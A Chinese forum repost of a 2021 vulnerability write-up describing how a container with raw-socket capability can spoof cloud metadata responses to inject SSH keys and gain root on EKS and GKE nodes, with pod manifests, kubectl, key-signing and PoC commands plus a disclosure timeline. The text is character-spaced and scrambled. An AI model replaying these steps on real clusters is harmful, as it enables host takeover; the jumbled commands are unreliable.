搜索

[28998] 2021-06-08_元数据服务MITM允许root权限提升(EKSGKE)

文档创建者：s7ckTeam
浏览次数：124
最后更新：2025-01-19
2021-06-08_元数据服务MITM允许root权限提升(EKSGKE) 元 数 据 服 务   M I T M   允 许   r o o t   权 限 提 升   ( E K S   /   G K E ) O t s 安 全   2 0 2 1 - 0 6 - 0 8 ▼ 更 多 精 彩 推 荐 ， 请 关 注 我 们 ▼ 在 发 现 使 用 容 器 可 以 让 您 通 过   I P v 6   流 氓 路 由 器 广 告 发 起 主 机   M I T M   攻 击 之 后 ， 除 了 使 用 网 桥   C N I   时 的 经 典   A R P   欺 骗 之 外 ， 我 继 续 寻 找 更 有 趣 的 网 络 攻 击 。 L i n u x   功 能 允 许 您 打 开 原 始 套 接 字 以 侦 听 网 络 命 名 空 间   ( t c p d u m p )   中 的 所 有 流 量 ， 还 可 以 发 送 任 何 类 型 的 数 据 包 。   默 认 情 况 下 在   D o c k e r / C o n t a i n e r d   中 启 用 ， 但 在 c r i - o   中 不 启 用 ， 因 为   1 . 1 8   仅 允 许 工 作 。 这 是 一 个 糟 糕 的 默 认 值 ， 应 该 被 s y s c t l s 的 使 用 所 取 代 。 使 用   T L S   的 流 量 越 来 越 安 全 ， 但 是 在 许 多 云 提 供 商 上 ， 您 可 以 通 过 h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 上 的   H T T P   访 问 元 数 据 服 务 ， 并 且 有 时 可 以 在 提 供 的 元 数 据 中 找 到 用 户   s s h   公 钥 。 A W S 、 G C P   和 其 他 可 能 允 许 使 用 实 例 启 动 时 不 存 在 的   s s h   密 钥 连 接 到 实 例 ， 这 意 味 着 它 们 在 运 行 时 通 过   H T T P   动 态 检 索 新 的   s s h   密 钥 ， 因 此   M I T M   允 许 我 们 插 入 我 们 的   s s h   密 钥 并 作 为   s u d o e r   登 录 或 r o o t 用 户 。 通 过 使 用 +   ， 可 以 在   E K S   和   G K E   集 群 上 的 节 点 上 获 得   r o o t   权 限 。 另 一 种 获 得   M I T M   的 方 法 是 使 用 K 8 S   C V E - 2 0 2 0 - 8 5 5 4 。 在 我 的 测 试 中 ， A z u r e   正 在 安 全 地 检 索   s s h   密 钥 ， 而 L i n u x   包 仅 在 启 动 早 期 检 索 一 次   s s h   密 钥 。 谷 歌 谷 歌   G K E 攻 击 者 可 以 访 问 具 有 功 能 的 容 器 ， 可 以 侦 听 通 过 主 机 的 所 有 流 量 并 注 入 任 意 流 量 ， 从 而 可 以 篡 改 大 多 数 未 加 密 的 流 量 （ H T T P 、 D N S 、 D H C P   等 ） ， 并 破 坏 加 密 的 流 量 。 在   G K E   中 ， 主 机 通 过 h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 查 询 元 数 据 服 务 以 获 取 信 息 ， 包 括 授 权 的   s s h   密 钥 。 通 过 操 纵 元 数 据 服 务 响 应 ， 注 入 我 们 自 己 的   s s h   密 钥 ， 我 们 获 得 了 主 机 上 的   r o o t   权 限 。 1 .   创 建   G K E   集 群 2 .   创 建 一 个 豆 荚 3 . 复 制 m e t a d a t a s c a p e . p y   脚 本 ） C A P _ N E T _ R A W C A P _ N E T _ R A W C A P _ N E T _ R A W p i n g n e t . i p v 4 . p i n g _ g r o u p _ r a n g e h o s t N e t w o r k = t r u e C A P _ N E T _ R A W c l o u d - i n i t h o s t N e t w o r k = t r u e C A P _ N E T _ R A W h o s t N e t w o r k = t r u e k u b e c t l   a p p l y   - f   -   < < ' E O F ' a p i V e r s i o n :   v 1 k i n d :   P o d m e t a d a t a :     n a m e :   u b u n t u - n o d e s p e c :     h o s t N e t w o r k :   t r u e     c o n t a i n e r s :     -   n a m e :   u b u n t u         i m a g e :   u b u n t u : l a t e s t         c o m m a n d :   [   " / b i n / s l e e p " ,   " i n f "   ] E O F
4 . 连 接 到 容 器 （ 接 下 来 的 命 令 在 容 器 外 壳 中 ） 5 . 安 装 需 要 的 包 6 . 生 成 一 个   s s h   密 钥 （ 这 是 我 们 将 要 注 入 并 用 于   s s h   到 主 机 的 密 钥 ） 7 . 启 动 脚 本 ， 等 待   2   分 钟 ， 享 受 1 .   （ 如 果 您 看 到   k u b e c o n f i g   和 一 些 打 印 的 证 书 ， 则 它 有 效 ） 要 像   H T T P   请 求 一 样 劫 持   T C P   连 接 ， 您 需 要 拥 有 正 确 的   T C P   序 列 号 ， 并 且 响 应 速 度 比 服 务 器 快 。 由 于   G o o g l e   使 用   H T T P   长 池 来 等 待 新 的   S S H   密 钥 （ 1   分 钟 以 上 ） ， 并 且 我 们 可 以 监 听 所 有 流 量 ， 因 此 使 用   S c a p y 伪 造   T C P   数 据 包 非 常 容 易 。 有 两 种 方 法 可 以 注 入 流 量 ， 以 便 同 一 主 机 可 以 接 收 流 量 ： 1 .   使 用   L 2   原 始 套 接 字 和 “ l o ” 接 口 2 .   使 用   L 3   原 始 套 接 字 过 去 ， 在   l o   接 口 上 使 用   L 2   套 接 字 不 起 作 用 ， 因 此 S c a p y   F A Q   建 议 使 用   L 3 。 此 外 ， G K E   节 点 已 经 在 使 用 s y s c t l   有 效 地 阻 止   L 2 。 为 了 阻 止   L 3   G o o g l e   团 队 在   G K E   节 点 上 添 加 了 以 下   i p t a b l e s   规 则 此   i p t a b l e s   规 则 已 添 加 到 1 . 1 9 . 2 - g k e . 2 4 0 0 1 . 1 8 . 9 - g k e . 2 5 0 0 1 . 1 7 . 1 2 - g k e . 2 5 0 0 1 . 1 6 . 1 5 - g k e . 2 6 0 0 这 只 会 修 复   G K E ， 如 果 您 自 己 在   G C P   实 例 上 部 署   K 8 S ， 您 可 能 仍 然 容 易 受 到 攻 击 。 A W S   E K S A W S   允 许 使 用 名 为 “ E C 2   I n s t a n c e   C o n n e c t ” 的 功 能 通 过   S S H   连 接 到   L i n u x   实 例 为 此 ， A W S   A M I   在   S S H   配 置   ( s s h d _ c o n f i g )   中 有 以 下 行 ： 在 （ 前 修 复 ） e i c _ c u r l _ a u t h o r i z e d _ k e y s 脚 本 在 查 询 中 的 元 数 据 服 务 h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4   一 个 响 应 的 是 实 例 名 称 和 过 期 时 间 戳 像 这 样 的 S S H 密 钥 的 签 署 名 单 ： 我 们 无 法 在 不 同 的 实 例 上 重 放 这 些 响 应 ： 实 例 名 称 通 过   H T T P   检 索 ， 但 经 过 验 证 并 且 我 们 没 有 与 此 公 钥 匹 配 的 私 钥 现 在 ， 如 果 我 们 回 到   e i c _ c u r l _ a u t h o r i z e d _ k e y s   的 开 头 ， 会 发 生 以 下 情 况 ： 1 .   定 义 元 数 据 服 务 的 地 址 为 h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / 2 .   P U T   / l a t e s t / a p i / t o k e n - >   获 取 元 数 据   v 2   令 牌 3 .   G E T   / l a t e s t / m e t a - d a t a / i n s t a n c e - i d / - >   获 取 实 例   I D ， 然 后 根 据   / s y s / d e v i c e s / v i r t u a l / d m i / i d / b o a r d _ a s s e t _ t a g   对 其 进 行 验 证 k u b e c t l   c p   m e t a d a t a s c a p y . p y   u b u n t u - n o d e : / m e t a d a t a s c a p y . p y k u b e c t l   e x e c   - t i   u b u n t u - n o d e   - -   / b i n / b a s h a p t   u p d a t e   & &   a p t   i n s t a l l   - y   p y t h o n 3 - s c a p y   o p e n s s h - c l i e n t s s h - k e y g e n   - t   e d 2 5 5 1 9   - f   / r o o t / . s s h / i d _ e d 2 5 5 1 9   - N   " " p y t h o n 3   / m e t a d a t a s c a p y . p y n e t . i p v 4 . c o n f . a l l . r p _ f i l t e r   =   1 i p t a b l e s   - w   - t   m a n g l e   - I   O U T P U T   - s   1 6 9 . 2 5 4 . 1 6 9 . 2 5 4   - j   D R O P A u t h o r i z e d K e y s C o m m a n d   / o p t / a w s / b i n / e i c _ r u n _ a u t h o r i z e d _ k e y s   % u   % f # T i m e s t a m p = 2 1 4 7 4 8 3 6 4 7 # I n s t a n c e = r e a l i n s t a n c e n a m e # C a l l e r = w e d o n t c a r e # R e q u e s t = w e d o n t c a r e s s h - r s a   . . . s h a 2 5 6 / r s a   s i g n a t u r e   i n   b a s e 6 4
4 .   H E A D   / l a t e s t / m e t a - d a t a / m a n a g e d - s s h - k e y s / a c t i v e - k e y s / U S E R / 5 .   G E T   / l a t e s t / m e t a - d a t a / p l a c e m e n t / a v a i l a b i l i t y - z o n e / - >   从 可 用 区 名 称 中 提 取 区 域 名 称   ( u s - e a s t - 2 ) 6 .   获 取 / 最 新 / 元 数 据 / 服 务 / 域 / - >   在 我 所 在 的 地 区 ， 这 是   a m a z o n a w s . c o m 7 .   用   5   和   6   我 们 推 导 出 签 名 者 证 书 的 预 期   C N e x p e c t e d _ s i g n e r = " m a n a g e d - s s h - s i g n e r . $ { r e g i o n } . $ { d o m a i n } " 8 .   G E T   / l a t e s t / m e t a - d a t a / m a n a g e d - s s h - k e y s / s i g n e r - c e r t / - >   签 名 者 证 书   +   链 9 .   G E T   / l a t e s t / m e t a - d a t a / m a n a g e d - s s h - k e y s / s i g n e r - o c s p / - >   对 于 每 个 证 书 ， 它 的   S H A 1   指 纹 1 0 .   G E T   / l a t e s t / m e t a - d a t a / m a n a g e d - s s h - k e y s / s i g n e r - o c s p / S H A 1 - >   检 索 实 际 的   O C S P   响 应 1 1 .   G E T   / l a t e s t / m e t a - d a t a / m a n a g e d - s s h - k e y s / a c t i v e - k e y s / U S E R / - >   获 取 已 签 名 的   s s h   密 钥 列 表 1 2 .   将 所 有 这 些 传 递 给 e i c _ p a r s e _ a u t h o r i z e d _ k e y s - >   此 脚 本 检 查 证 书 是 否 与   e x p e c t e d _ s i g n e r   匹 配 、 是 否 可 信 且 具 有 有 效 的   O C S P   响 应 。 如 果 您 仔 细 阅 读 ， 能 够 在   e i c _ c u r l _ a u t h o r i z e d _ k e y s   脚 本 和 元 数 据 服 务 之 间 执 行   M I T M   的 攻 击 者 可 以 注 入   4 / 6 / 8 / 9 / 1 0 / 1 1   的 响 应 ， 然 后 以   r o o t   身 份 在 实 例 上   S S H 简 而 言 之 ： 受 亚 马 逊 签 名 的   m a n a g e d - s s h - s i g n e r . u s - e a s t - 2 . a m a z o n a w s . c o m   是 可 信 的 由   L e t ' s   E n c r y p t   签 名 的   m a n a g e d - s s h - s i g n e r . u s - e a s t - 2 . c h a m p e t i e r . n e t   也 可 以 信 任 正 确 的 响 应 在   A W S   E K S   上 ， 能 够 以   r o o t   身 份 在   h o s t N e t w o r k   p o d   中 执 行 任 意 代 码 的 攻 击 者 可 以 使 用 该 功 能 在 实 例 上 监 控 和 注 入 数 据 包 。 这 个   P O C   展 示 了 我 们 从   h o s t N e t w o r k   到 节 点 是 多 么 容 易 。 它 使 用   G o l a n g   ( g o p a c k e t ) ， 因 为   s c a p y   注 入 数 据 包 的 速 度 通 常 比 元 数 据 服 务 响 应 要 慢 ， 这 使 得 攻 击 不 可 靠 。 1 .   文 件 ： i .   c e r t 0 . p e m ： C N = m a n a g e d - s s h - s i g n e r . u s - e a s t - 2 . c h a m p e t i e r . n e t ， 2 0 2 1   年   1   月   1 0   日 过 期 i i .   p r i v k e y . p e m   :   证 书 的 私 钥 i i i .   c e r t 1 . p e m   :   C N = L e t ' s   E n c r y p t   A u t h o r i t y   X 3 i v .   c e r t 2 . p e m   :   C N = D S T   根   C A   X 3 v .   g o . m o d 、 g o . s u m 、 m i t m m e t a . g o ： G o l a n g   P O C 2 .   在   u s - e a s t - 2   区 域 部 署   E K S   集 群 ， 配 置   k u b e c t l 我 们 可 以 针 对 其 他 区 域 ， 但 提 供 的   c e r t 0 . p e m   是 针 对   u s - e a s t - 2   在 我 的 测 试 中 ， A M I   是   A L 2 _ x 8 6 _ 6 4   /   1 . 1 7 . 1 1 - 2 0 2 0 1 0 0 7 3 .   启 动 一 个   h o s t N e t w o r k   p o d C A P _ N E T _ R A W k u b e c t l   a p p l y   - f   -   < < ' E O F ' a p i V e r s i o n :   v 1 k i n d :   P o d m e t a d a t a : n a m e :   u b u n t u - n o d e s p e c : h o s t N e t w o r k :   t r u e c o n t a i n e r s : -   n a m e :   u b u n t u i m a g e :   u b u n t u : l a t e s t
4 . 复 制 容 器 中 的 7 个 文 件 5 . 连 接 到 容 器 接 下 来 的 命 令 都 在 p o d 中 运 行 6 . 安 装 需 要 的 软 件 7 . 构 建   G o l a n g   P O C 8 . 下 载   O C S P   响 应 ， 连 接 签 名 者 证 书 9 . 生 成 一 个   S S H   密 钥 ， 这 是 我 们 将 用 来 连 接 的 密 钥 1 0 . 准 备   A P I “ s s h   响 应 ” 1 1 . 启 动   P O C 1 2 . 在 第 二 个   s h e l l   中 ， 连 接 到   p o d   并 连 接 到 节 点 1 .   您 现 在 是 该 实 例 的   r o o t 在 C e r t i f i c a t e   T r a n s p a r e n c y   日 志 中 搜 索 ， 似 乎 我 是 唯 一 创 建 过 此 类 证 书 的 人 。 时 间 线 时 间 线 2 0 2 0 - 0 6 - 1 5 ： 向   K 8 S   安 全 团 队 报 告 （ 通 过   H a c k e r O n e ） ， 让 他 们 考 虑 默 认 删 除 。 当 时 只 测 试 了   G K E 。 2 0 2 0 - 0 7 - 0 1 ： 向 谷 歌 报 告 2 0 2 0 - 1 0 - 1 9 ： 周 末 终 于 抽 时 间 看 看 E K S ， 向 A W S   S e c u r i t y 汇 报 c o m m a n d :   [   " / b i n / s l e e p " ,   " i n f "   ] E O F k u b e c t l   c p   .   u b u n t u - n o d e : / k u b e c t l   e x e c   - t i   u b u n t u - n o d e   - -   / b i n / b a s h a p t   u p d a t e   & &   a p t   i n s t a l l   - y   o p e n s s h - c l i e n t   c u r l   o p e n s s l   l i b p c a p - d e v   g o l a n g g o   b u i l d   . d o w n l o a d o c s p ( )   {         f i n g e r p r i n t = $ ( o p e n s s l   x 5 0 9   - n o o u t   - f i n g e r p r i n t   - s h a 1   - i n f o r m   p e m   - i n   " $ { 1 } "   |   / b i n / s e d   - n   ' s / S H A 1   F i n g e r p r i n t [ [ : s p a c e : ] ] * = [ [ : s p a c e : ] ] * ( . * ) / 1 / p '   |   t r   - d   ' : ' )         o c s p _ u r l = " $ ( o p e n s s l   x 5 0 9   - n o o u t   - o c s p _ u r i   - i n   " $ { 1 } " ) "         o p e n s s l   o c s p   - n o _ n o n c e   - i s s u e r   " $ { 2 } "   - c e r t   " $ { 1 } "   - u r l   " $ o c s p _ u r l "   - r e s p o u t   " $ { 3 } / $ f i n g e r p r i n t - r a w "         b a s e 6 4   - w 0   " $ { 3 } / $ f i n g e r p r i n t - r a w "   >   " $ { 3 } / $ f i n g e r p r i n t "         r m   - f   " $ { 3 } / $ f i n g e r p r i n t - r a w " } m k d i r   o c s p d o w n l o a d o c s p   c e r t 0 . p e m   c e r t 1 . p e m   o c s p d o w n l o a d o c s p   c e r t 1 . p e m   c e r t 2 . p e m   o c s p c a t   c e r t 0 . p e m   c e r t 1 . p e m   >   s i g n e r . p e m s s h - k e y g e n   - t   e d 2 5 5 1 9   - f   / r o o t / . s s h / i d _ e d 2 5 5 1 9   - N   " " c a t   >   s s h k e y s - u n s i g n e d   < < E O F # T i m e s t a m p = 2 1 4 7 4 8 3 6 4 7 # I n s t a n c e = $ ( c u r l   h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a / i n s t a n c e - i d /   - s ) # C a l l e r = w e d o n t c a r e # R e q u e s t = w e d o n t c a r e E O F c a t   / r o o t / . s s h / i d _ e d 2 5 5 1 9 . p u b   > >   s s h k e y s - u n s i g n e d o p e n s s l   d g s t   - s h a 2 5 6   - s i g o p t   r s a _ p a d d i n g _ m o d e : p s s   - s i g o p t   r s a _ p s s _ s a l t l e n : 3 2   - s i g n   p r i v k e y . p e m   s s h k e y s - u n s i g n e d   |   b a s e 6 4   - w 0   >   s s h k e y s - s i g n a t u r e c a t   s s h k e y s - u n s i g n e d   s s h k e y s - s i g n a t u r e   >   s s h k e y s e c h o   " "   > >   s s h k e y s . / m i t m m e t a k u b e c t l   e x e c   - t i   u b u n t u - n o d e   - -   / b i n / b a s h s s h   r o o t @ 1 2 7 . 0 . 0 . 1 C A P _ N E T _ R A W
2 0 2 0 - 1 0 - 2 3 ： G o o g l e   开 始 推 出 他 们 的   G K E   修 复 程 序 2 0 2 0   年   1 1   月   1 0   日 ： G o o g l e   赏 金   : ) （ 捐 赠 给   H a n d i c a p   I n t e r n a t i o n a l ） 2 0 2 0   年   1 1   月   1 2   日 ： 与   A W S   安 全 部 门 进 行 快 速 通 话 以 确 认 他 们 正 确 理 解 了 我 的 报 告 2 0 2 0 - 1 1 - 1 7 ： A W S   推 送 修 复 以 验 证 域 （ 实 际 日 期 为   2 0 2 0 - 1 0 - 2 2 ） 2 0 2 0 - 1 2 - 0 4 ： A W S   确 认 他 们 这 边 的 修 复 2 0 2 0 - 1 2 - 0 7 ： 请 向   G o o g l e   确 认 我 是 否 可 以 公 开 谈 论 此 问 题 ， 因 为 票 证 尚 未 标 记 为 已 修 复 2 0 2 1 - 0 2 - 0 4 ： K 8 S   ( H a c k e r O n e )   报 告 因 特 定 于 提 供 商 而 关 闭 2 0 2 1 - 0 2 - 1 0 ： G o o g l e   终 于 将 票 证 标 记 为 已 修 复 2 0 2 1 - 0 2 - 2 8 ： 终 于 写 完 了 这 篇 文 章 致 谢 致 谢 感 谢   G o o g l e   的 赏 金 ， 感 谢   A W S   和   K 8 S   团 队 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理